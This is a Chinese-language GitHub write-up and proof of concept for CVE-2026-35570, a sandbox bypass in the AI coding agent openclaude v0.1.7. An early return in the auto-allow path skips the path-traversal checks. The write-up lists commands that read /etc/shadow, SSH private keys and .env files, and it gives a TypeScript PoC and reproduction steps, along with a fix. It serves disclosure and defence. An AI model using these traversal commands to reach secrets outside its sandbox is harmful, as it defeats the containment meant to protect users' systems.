Rickidevs/CVE-2026-35570

GitHub: Rickidevs/CVE-2026-35570

针对 openclaude v0.1.7 沙箱绕过漏洞(CVE-2026-35570)的概念验证代码与漏洞原理分析,展示了一个提前返回语句如何导致路径遍历检查被完全绕过。

Stars: 0 | Forks: 0

# 突破沙箱:我如何在 openclaude 中发现关键路径遍历绕过漏洞 **CVE-2026-35570 | CVSS 8.4 (高危) | openclaude v0.1.7** 并非每个漏洞都需要复杂的漏洞利用链。有时,仅仅是一个错放的 `return` 语句就足以在您的安全模型中炸开一个大洞。这正是 CVE-2026-35570 的本质。 本文详细介绍了我如何在 `openclaude` v0.1.7 中发现的一个沙箱绕过漏洞 —— 这是一个逻辑缺陷,允许路径遍历 payload 在未被检查的情况下直接通过文件系统隔离层。 ## 我是如何发现的 我在通读 `bashPermissions.ts` 时,控制流中的某些细节引起了我的注意。权限逻辑乍一看很合理 —— 如果在沙箱中,自动允许命令;否则,提示用户。看起来很清晰。 但有一个问题一直困扰着我:**路径约束检查究竟是在哪里进行的?** 我从头到尾追踪了 `bashToolHasPermission()` 并梳理了执行路径: ``` bashToolHasPermission() │ ├─ [~1445] Sandbox auto-allow block │ └─ No deny rule found → return ALLOW ⚠️ Early exit │ └─ [~1644] checkPathConstraints() ❌ Never reached ``` 沙箱代码块的设计初衷是在沙箱环境中跳过交互式权限提示。这完全合理。问题在于,当它返回 `ALLOW` 时,函数会立即退出。`checkPathConstraints()` —— 那个真正负责捕获路径遍历的函数 —— 根本没有机会运行。 ## 实际发生了什么 在 `bashToolHasPermission()` 内部,沙箱自动允许代码块遵循以下逻辑: 1. 是否启用了沙箱? → 是 2. 是否启用了自动允许? → 是 3. 此会话是否有明确的拒绝规则? → 否 4. **→ 返回 ALLOW 并退出函数** 此时,`checkPathConstraints()` 被完全绕过。路径遍历过滤器没有任何机会执行。 从攻击者的角度来看,这意味着像下面这样的命令可以直接通过: ``` cat ../../../../../etc/passwd cat ../../../../../etc/shadow cat ../../../../../home/user/.ssh/id_rsa cat ../../../../../var/app/.env ``` 所有这些命令返回的结果都是 `behavior: allow`。没有提示。没有拦截。什么都没有。 ## 影响 当存在此缺陷时,三件事成为可能: **任意文件读取。** 沙箱边界之外的任何内容都唾手可得 —— `/etc/passwd`、`/etc/shadow`、SSH 私钥、`.env` 文件。只要 OS 级别的权限允许,就可以读取该文件。 **任意文件写入。** 相同的逻辑反向适用。攻击者可以写入沙箱之外的路径,这为覆盖配置文件或在意外位置植入内容敞开了大门。 **完全的沙箱隔离失效。** 沙箱的全部意义在于强制执行文件系统边界。存在此 bug 时,这种保证变得毫无意义。 CVSS v3.1: **8.4 (高危)** — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N ## 修复方案 修复方案在概念上很简单。沙箱自动允许代码块应该只抑制交互式提示 —— 仅此而已。它永远不应该短路完整的权限管道。 ``` if ( SandboxManager.isSandboxingEnabled() && SandboxManager.isAutoAllowBashIfSandboxedEnabled() && shouldUseSandbox(input) ) { const sandboxResult = checkSandboxAutoAllow(input, appState.toolPermissionContext); if (sandboxResult.behavior !== 'allow') { // Only return early for deny or ask — never skip path checks on allow return sandboxResult; } // If allow, fall through to checkPathConstraints below } // Path traversal check must always run return checkPathConstraints(input, appState.toolPermissionContext); ``` 这里的经验法则是:**沙箱自动允许跳过的是提示,而不是安全检查。** ## 受影响版本 | 字段 | 详情 | |-------|--------| | 软件包 | openclaude | | 受影响版本 | v0.1.7 | | 已修复版本 | 无 | | CVE | CVE-2026-35570 | | CVSS | 8.4 (高危) | ## 概念验证 ### 前置条件 - Node.js >= 18 - `openclaude` v0.1.7 ### 步骤 1 —— 克隆并安装 ``` git clone https://github.com/Gitlawb/openclaude cd openclaude git checkout v0.1.7 npm install ``` ### 步骤 2 —— 启用沙箱模式 启动 openclaude 并设置沙箱和自动允许标志: ``` CLAUDE_SANDBOX=true CLAUDE_AUTO_ALLOW_BASH=true npx openclaude ``` ### 步骤 3 —— 运行测试脚本 将以下内容保存为项目根目录下的 `poc.ts`: ``` import { bashToolHasPermission } from './src/tools/BashTool/bashPermissions'; import { SandboxManager } from './src/sandbox/SandboxManager'; // Set up sandbox conditions SandboxManager.setSandboxEnabled(true); SandboxManager.setAutoAllowBashIfSandboxed(true); // Payload with path traversal const maliciousInput = { command: 'cat ../../../../../etc/passwd' }; const fakeAppState = { toolPermissionContext: { allowedPaths: ['/tmp/sandbox'], deniedPaths: [] } }; const result = bashToolHasPermission(maliciousInput, fakeAppState); console.log('Result:', result.behavior); // Expected: "deny" — path traversal should be blocked // Actual: "allow" ← vulnerability confirmed ``` 然后运行它: ``` npx ts-node poc.ts ``` ### 步骤 4 —— 观察输出 您将看到: ``` Result: allow ``` `checkPathConstraints()` 从未被调用。要亲自确认这一点,请在 `bashPermissions.ts` 中添加一行日志: ``` // Around line 1644 function checkPathConstraints(input, context) { console.log('checkPathConstraints was called'); // This will never print // ... } ``` 再次运行脚本。日志不会出现 —— 该函数确实被跳过了。 ### 步骤 5 —— 在实际界面中复现 在沙箱会话中打开 openclaude 并提交以下命令: ``` cat ../../../../../etc/passwd ``` 它在执行时没有任何权限提示或拦截,并直接输出了 `/etc/passwd` 的内容。 *CVE-2026-35570*
标签:CVE-2026-35570, CVSS 8.4, MITM代理, openclaude, PE 加载器, PoC, TypeScript, Web安全, Web报告查看器, 安全插件, 文件系统隔离, 早期返回, 暴力破解, 权限绕过, 沙箱逃逸, 网络安全审计, 蓝队分析, 路径遍历, 逻辑漏洞